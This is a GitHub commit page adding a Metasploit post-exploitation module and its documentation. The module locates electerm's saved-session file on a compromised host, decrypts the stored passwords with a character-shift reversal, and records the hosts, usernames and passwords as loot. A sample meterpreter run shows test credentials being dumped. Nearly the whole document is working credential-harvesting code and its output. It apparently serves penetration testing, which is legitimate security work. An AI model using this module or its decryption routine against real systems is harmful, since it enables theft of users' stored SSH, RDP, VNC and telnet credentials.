-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19395, Electerm post password gather module
Merge branch 'land-19395' into upstream-master
- Loading branch information
Showing
2 changed files
with
247 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
## Vulnerable Application | ||
electerm is free and open source Terminal/ssh/telnet/serialport/RDP/VNC/sftp client. | ||
|
||
This module will determine if electerm is installed on the target system and, if it is, it will try to | ||
dump all saved session information from the target. The passwords for these saved sessions will then be decrypted | ||
where possible. | ||
|
||
Any electerm version on any operating system are supported. | ||
|
||
If it works normally, the connection name, host, username and password saved in the certificate file will be printed | ||
|
||
### Installation Steps | ||
|
||
1. Download and run the electerm installer (https://github.com/electerm/electerm/). | ||
2. Select default installation | ||
3. Open the software and create a connection | ||
complete password setting, add the test account password to the certificate. | ||
|
||
## Verification Steps | ||
|
||
1. Get a session. | ||
2. Do: `set session <session number>` | ||
3. Do: `run post/multi/gather/credentials/electerm` | ||
4. If the system has saved passwords, they will be printed out. | ||
|
||
## Options | ||
|
||
### BOOKMARKS_FILE_PATH | ||
|
||
Specifies the `electerm.bookmarks.nedb` file path for electerm. (eg. | ||
`C:\Users\FireEye\AppData\Roaming\electerm\users\default_user\electerm.bookmarks.nedb`). | ||
|
||
## Scenarios | ||
|
||
``` | ||
meterpreter > run post/windows/gather/credentials/electerm | ||
[*] Gather electerm Passwords | ||
[*] Looking for JSON files in /home/kali-team/.config/electerm/users/default_user/electerm.bookmarks.nedb | ||
[+] electerm electerm.bookmarks.nedb saved to /home/kali-team/.msf4/loot/20240816195518_default_127.0.0.1_electerm.creds_806863.txt | ||
[*] Finished processing /home/kali-team/.config/electerm/users/default_user/electerm.bookmarks.nedb | ||
[+] Passwords stored in: /home/kali-team/.msf4/loot/20240816195518_default_127.0.0.1_host.electerm_421975.txt | ||
[+] electerm Password | ||
================= | ||
Title Type Host Port Username Password Description | ||
----- ---- ---- ---- -------- -------- ----------- | ||
127.0.0.1 22 ssh asdasdawdasdw | ||
127.0.0.1 22 asdas asdasdas | ||
drp rdp 127.0.0.1 3389 drp drppass rdp test | ||
telnet telnet 127.0.0.1 23 root guest telnet des | ||
vnc vnc 127.0.0.1 5900 vncuser vncpass vnc des | ||
[*] Post module execution completed | ||
meterpreter > | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,192 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
require 'json' | ||
class MetasploitModule < Msf::Post | ||
include Msf::Post::File | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Gather electerm Passwords', | ||
'Description' => %q{ | ||
This module will determine if electerm is installed on the target system and, if it is, it will try to | ||
dump all saved session information from the target. The passwords for these saved sessions will then be decrypted | ||
where possible. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'References' => [ | ||
[ 'URL', 'https://blog.kali-team.cn/metasploit-electerm-6854f3d868eb45eab6951acc463a910d' ] | ||
], | ||
'Author' => ['Kali-Team <kali-team[at]qq.com>'], | ||
'Platform' => [ 'linux', 'win', 'osx', 'unix'], | ||
'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ], | ||
'Notes' => { | ||
'Stability' => [], | ||
'Reliability' => [], | ||
'SideEffects' => [] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
OptString.new('BOOKMARKS_FILE_PATH', [ false, 'Specifies the electerm.bookmarks.nedb file path for electerm']), | ||
] | ||
) | ||
end | ||
|
||
# Decrypt password https://github.com/electerm/electerm/blob/master/src/app/common/pass-enc.js | ||
def dec_electrm_password(enc) | ||
result = enc.chars.map.with_index do |s, i| | ||
((s.ord - i - 1 + 65536) % 65536).chr | ||
end.join | ||
return result | ||
end | ||
|
||
def print_and_save(all_result) | ||
pw_tbl = Rex::Text::Table.new( | ||
'Header' => 'electerm Password', | ||
'Columns' => [ | ||
'Title', | ||
'Type', | ||
'Host', | ||
'Port', | ||
'Username', | ||
'Password', | ||
'Description', | ||
] | ||
) | ||
all_result.each do |value| | ||
next if !value.key?('username') || !value.key?('password') | ||
|
||
row = [] | ||
row << value['title'] || '' | ||
row << value.fetch('type', 'ssh') | ||
row << value['host'] || '' | ||
row << value['port'] || '' | ||
row << value['username'] || '' | ||
row << value['password'] || '' | ||
row << value['description'] || '' | ||
pw_tbl << row | ||
config = { | ||
type: value['type'], | ||
host: value['host'], | ||
port: value['port'], | ||
username: value['username'], | ||
password: value['password'] | ||
} | ||
electerm_store_config(config) | ||
end | ||
if pw_tbl.rows.count > 0 | ||
path = store_loot('host.electerm', 'text/plain', session, pw_tbl, 'electerm.txt', 'electerm Password') | ||
print_good("Passwords stored in: #{path}") | ||
print_good(pw_tbl.to_s) | ||
end | ||
end | ||
|
||
def electerm_store_config(config) | ||
service_data = { | ||
address: config[:host], | ||
port: config[:port], | ||
service_name: config[:type], | ||
protocol: 'tcp', | ||
workspace_id: myworkspace_id | ||
} | ||
|
||
credential_data = { | ||
origin_type: :session, | ||
session_id: session_db_id, | ||
post_reference_name: refname, | ||
private_type: :password, | ||
private_data: config[:password], | ||
username: config[:username] | ||
}.merge(service_data) | ||
|
||
credential_core = create_credential(credential_data) | ||
|
||
login_data = { | ||
core: credential_core, | ||
status: Metasploit::Model::Login::Status::UNTRIED | ||
}.merge(service_data) | ||
|
||
create_credential_login(login_data) | ||
end | ||
|
||
def parse_jsonlines(line) | ||
result_hashmap = Hash.new | ||
begin | ||
result_hashmap = JSON.parse(line) | ||
rescue ::JSON::ParserError => e | ||
raise Error::ParserError, "[parse_bookmarks] #{e.class} - #{e}" | ||
end | ||
if result_hashmap.key?('password') && result_hashmap.key?('passwordEncrypted') | ||
result_hashmap['password'] = dec_electrm_password(result_hashmap['password']) | ||
end | ||
return result_hashmap | ||
end | ||
|
||
def parse_json(bookmarks_path) | ||
some_result = [] | ||
if session.platform == 'windows' | ||
bookmarks_path.gsub!('/') { '\\' } | ||
end | ||
begin | ||
if file_exist?(bookmarks_path) | ||
nedb_data = read_file(bookmarks_path) || '' | ||
print_error('The file could not be read') if nedb_data.empty? | ||
nedb_data.each_line do |line| | ||
some_result << parse_jsonlines(line) | ||
end | ||
credentials_config_loot_path = store_loot('host.electerm.creds', 'text/json', session, JSON.pretty_generate(some_result), bookmarks_path) | ||
print_good("electerm electerm.bookmarks.nedb saved to #{credentials_config_loot_path}") | ||
print_status("Finished processing #{bookmarks_path}") | ||
else | ||
print_error("Cannot find file #{bookmarks_path}") | ||
end | ||
rescue StandardError => e | ||
print_error("Error when parsing #{bookmarks_path}: #{e}") | ||
end | ||
return some_result | ||
end | ||
|
||
def get_bookmarks_path | ||
bookmarks_dir = '' | ||
case session.platform | ||
when 'windows' | ||
app_data = get_env('AppData') | ||
if app_data.present? | ||
bookmarks_dir = app_data + '\electerm\users\default_user' | ||
end | ||
when 'linux', 'osx', 'unix' | ||
home = get_env('HOME') | ||
if home.present? | ||
bookmarks_dir = home + '/.config/electerm/users/default_user' | ||
end | ||
end | ||
bookmarks_path = File.join(bookmarks_dir, 'electerm.bookmarks.nedb') | ||
return bookmarks_path | ||
end | ||
|
||
def run | ||
print_status('Gather electerm Passwords') | ||
all_result = [] | ||
bookmarks_path = '' | ||
if datastore['BOOKMARKS_FILE_PATH'].present? | ||
bookmarks_path = datastore['BOOKMARKS_FILE_PATH'] | ||
print_status("Looking for JSON files in #{bookmarks_path}") | ||
all_result += parse_json(bookmarks_path) | ||
end | ||
if bookmarks_path.empty? | ||
bookmarks_path = get_bookmarks_path | ||
if !bookmarks_path.blank? | ||
result = parse_json(bookmarks_path) | ||
if !result.empty? | ||
all_result += result | ||
end | ||
end | ||
end | ||
print_and_save(all_result) | ||
end | ||
end |